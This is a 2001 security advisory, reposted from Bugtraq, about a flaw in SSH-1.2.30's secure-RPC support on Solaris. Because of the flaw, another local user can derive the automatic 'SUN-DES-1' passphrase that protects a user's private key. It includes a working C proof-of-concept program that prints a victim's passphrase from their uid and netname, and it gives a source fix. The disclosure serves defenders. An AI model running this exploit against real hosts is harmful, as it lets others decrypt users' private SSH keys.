[LWN Logo]
[Timeline]
Date:         Tue, 16 Jan 2001 09:14:49 -0800
From: ssh2-bugs@SSH.COM
Subject:      Bug in SSH1 secure-RPC support can expose users' private keys
To: BUGTRAQ@SECURITYFOCUS.COM

Hello all,

There is a bug in SSH-1.2.30 involving Secure RPC. The patch for this is available at http://www.ssh.com/patches.html.

The explanation and bug was submitted by Richard Silverman (slade@shore.net), and his explanation of the bug is below. The SSH1 protocol is not formally supported by SSH Communications Security. However, as a service to the user community, we offer this patch as a potential way of addressing SSH1 related issues.

If you have any questions or comments, please email ssh2-bugs@ssh.com.

Thanks,

-Anne

When using "secure-RPC" support to encrypt a secret key file with the "SUN-DES-1
magic phrase," it is possible for SSH to generate a "magic phrase" which
is easily discoverable by other users on the same host, or in the same
NIS+ domain.

Since this weakness can seriously threaten the secrecy of a user's private
keys, I intend to post this information publically as soon as is feasible.  I
would, of course, like to allow you to assess the problem first and release a
fix before I do so.  Please keep me informed.  If I do not hear back from you
within a week (that is, by Friday 28 July 2000), I will go ahead and release
the bug report.

IMPACT:

A user's private key file is encrypted with an easily discoverable
passphrase.

SYSTEMS AFFECTED:

Any system running SSH1 with secure-RPC support.  As far as I know, this
is limited to Sun Solaris 2.x.  I have seen the problem under Solaris 2.6
and 2.7, running on SPARC hardware.

DETAILS:

The SSH1 feature is called secure-RPC, but this is a little misleading.
SSH1 does not use secure-RPC.  Rather, it takes advantage of the
cryptographic infrastructure present to support secure-RPC.

On a Solaris system employing secure-RPC (for e.g. secure NFS or NIS+),
there is a host-independent user and host naming scheme consisting of
"netnames" contained in the "netid" table, and a Diffie-Hellman key pair
belonging to each netname, contained in the "publickey" table.  These
tables may be kept in local files (/etc/netid, /etc/publickey), or stored
in NIS+.  User netnames look like "unix.<uid>@<domain>", and have an
obvious mapping to local usernames via the uid on a given host.  A user's
Diffie-Hellman private key is stored encrypted with the user's "network
password," which may differ from the user's login password on a particular
host.

Solaris includes a system server process called "keyserv," which is a
caching and service agent for the secure-RPC private keys.  To load the
private key into keyserv, the user runs a program called "keylogin," which
prompts for the network password.  It then retrieves the user's private
key from the publickey table, decrypts it with the password, and via an
IPC mechanism stores the key with keyserv.  Keyserv will only allow
processes with the same uid as that which stored a key to access it.

The keyserv API includes two functions, key_encryptsession and
key_decryptsession.  Their purpose is to support DES session key exchange
between secure-RPC principals.  The key_encryptsession routine takes a
recipient netname N and DES key D.  It looks up the public key P belonging
to N, and retrieves from keyserv the private key K of the current user.
It then encrypts D twice, using both Diffie-Hellman keys and P and K.  The
key_decryptsession routine performs the inverse operation on behalf of the
recipient, recovering D.

The SSH1 secure-RPC feature makes use of secure-RPC keys to encrypt the a
user's SSH private key file without requiring a user-supplied passphrase.
When ssh-keygen prompts the user for a passphrase to encrypt a new key (or
change the passphrase of an existing key), it recognizes the special
passphrase "SUN-DES-1".  Instead of using this token as the passphrase, it
does the following:

- Finds the netname U of the current user.

- Generates the string S: "ssh.XXXX", where XXXX is the user's uid in
  hexadecimal, left-padded with zeros.

- Treats S as a DES key, padding it out on the right with 8 null bytes.

- Calls key_encryptsession(U,S), producing S'.  This encrypts S with both
  the public and private keys of the calling user.

- Generates the string M, which is the (upper-case) ASCII hexadecimal
  representation of the 64-bit S'.  This is the SUN-DES-1 "magic phrase."

Ssh-keygen then uses M as the passphrase to encrypt the user's SSH private
key in the usual way.  The idea is that M is an automatically-generated
secure passphrase for the user, and that an attacker would need the user's
secure-RPC private key to discover M.  When other SSH components need to
read a private key file, they first generate M and attempt to decrypt the
SSH private key with M; if that fails, they prompt the user for a
passphrase.

The problem occurs if I encrypt an SSH key using the SUN-DES-1 magic
phrase, without having done a keylogin -- that is, keyserv does not have
my Diffie-Hellman private key.  The Solaris 5.7 man page for the
key_encryptsession routine does not say explicitly what happens in this
case, though it does say that the routine returns 0 on success and -1 on
failure.  One would assume that it returns failure in this case.  The SSH
code does check the return code and tells the user to do a keylogin if
key_encryptsession fails.

However, this does not always happen.  I have seen the correct behavior
happen very occasionally while testing, but most of the time,
key_encryptsession returns success instead, and appears to have encrypted
its argument only with the public key of the target netname, simply
skipping the other encryption step.  This produces a magic phrase which
can be generated easily by any other user on the system.  If the victim
has uid U and netname V, the attacker simply ensures that he does not have
a private key available (by doing a keylogout), then calls
key_encryptsession(V,"ssh.<U>...") as described above; this recovers the
victim's magic phrase.  The attacker can then use this to decrypt the
victim's private key file, should he get hold of it through other means.

The user may not notice the problem immediately, as his SSH will be able
to automatically decrypt the private key file as expected, as long as he
remains "keylogged out".

EXPLOIT:

To demonstrate this problem on a Solaris system with secure-RPC keys in
place, do a keylogout, then use ssh-keygen to generate a new key (or
change the passphrase on an existing key), setting the passphrase to
"SUN-DES-1".  You will see the message:

  "Using SUN-DES-1 magic phrase to encrypt the private key."

(That is, you will see this if the bug manifests.  As I mentioned, I have
occasionally seen key_encryptsession return failure in this situation, in
which case you will see "Failed to get SUN-DES-1 magic phrase. Run
keylogin.")

Then, compile the following short program:

== exploit.c =====================================
#include <stdio.h>
#include <rpc/rpc.h>

void die (char *msg)
{
  fprintf(stderr,"%s\n",msg);
  exit(1);
}

main (int argc, char **argv)
{
  char buf[MAXNETNAMELEN + 1];
  des_block block;
  uid_t uid;
  char *netname;

  if (argc < 3)
    die("supply uid and netname");

  sscanf(argv[1], "%d", &uid);
  netname = argv[2];
  memset(buf, 0, sizeof(buf));
  snprintf(buf, sizeof(buf), "ssh.%04X", uid);
  memcpy(block.c, buf, sizeof(block.c));
  if (key_encryptsession(netname, &block) != 0)
    die("key_encryptsession failed");
  printf("SUN-DES-1 magic phrase (uid %d, netname %s):\n  %08X%08X\n",
	 uid,
	 netname,
	 ntohl(block.key.high),
	 ntohl(block.key.low));
}
==================================================

Any user may now do a keylogout, then call this program with your uid and
netname as arguments, e.g. "exploit 12345 unix.12345@domain.org".  It will
print out your magic phrase, which can be used directly to decrypt your
private key file, e.g. with "ssh -i", "ssh-add", etc.

FIX:

The quick fix is this: in the routine userfile_get_des_1_magic_phrase
(userfile.c:1150), change this line:

      if (getnetname(buf))

to this:

      if (getnetname(buf) && key_secretkey_is_set())

key_secretkey_is_set returns whether or not the calling process has a
secret key registered with keserv.

Unfortunately, this may not be complete solution.  Judging from the
secure-RPC code in auth-passwd.c, there are apparently two different
versions of the keyserv API, 1 and 2, and key_secretkey_is_set is not
available in version 1.  In fact, auth-passwd.c has a routine
my_secretkey_is_set, which calls key_secretkey_is_set if keyserv version 2
is available -- otherwise, it calls key_encryptsession and relies on it
failing if the secret key is not set!  This suggests that, if this bug
occurs in version 1 as well as 2, there may be no simple, reliable way to
tell if the calling process' secret key is registered with keyserv.
Theoretically, one could call getpublickey(3N) to retrieve the user's
public key, encrypt a test token with it, and compare this to the result
of encrypting the token with key_encryptsession -- the secret key is set
only if they are different.  However, the Solaris secure-RPC library does
not appear to expose routines for performing Diffie-Hellman operations
directly, so this would not be straightforward.

Since this is a problem with an old version of keyserv, and with an SSH1
option this is (I think) very little used, I haven't spent the time to
come up with a fix for this.  Perhaps someone with more motivation will do
so.  In the meantime, it may be best to simply disable the SSH1 secure-RPC
feature if keyserv version 2 is not available (KEY_VERS2 is not defined by
<rpc/rpc.h>.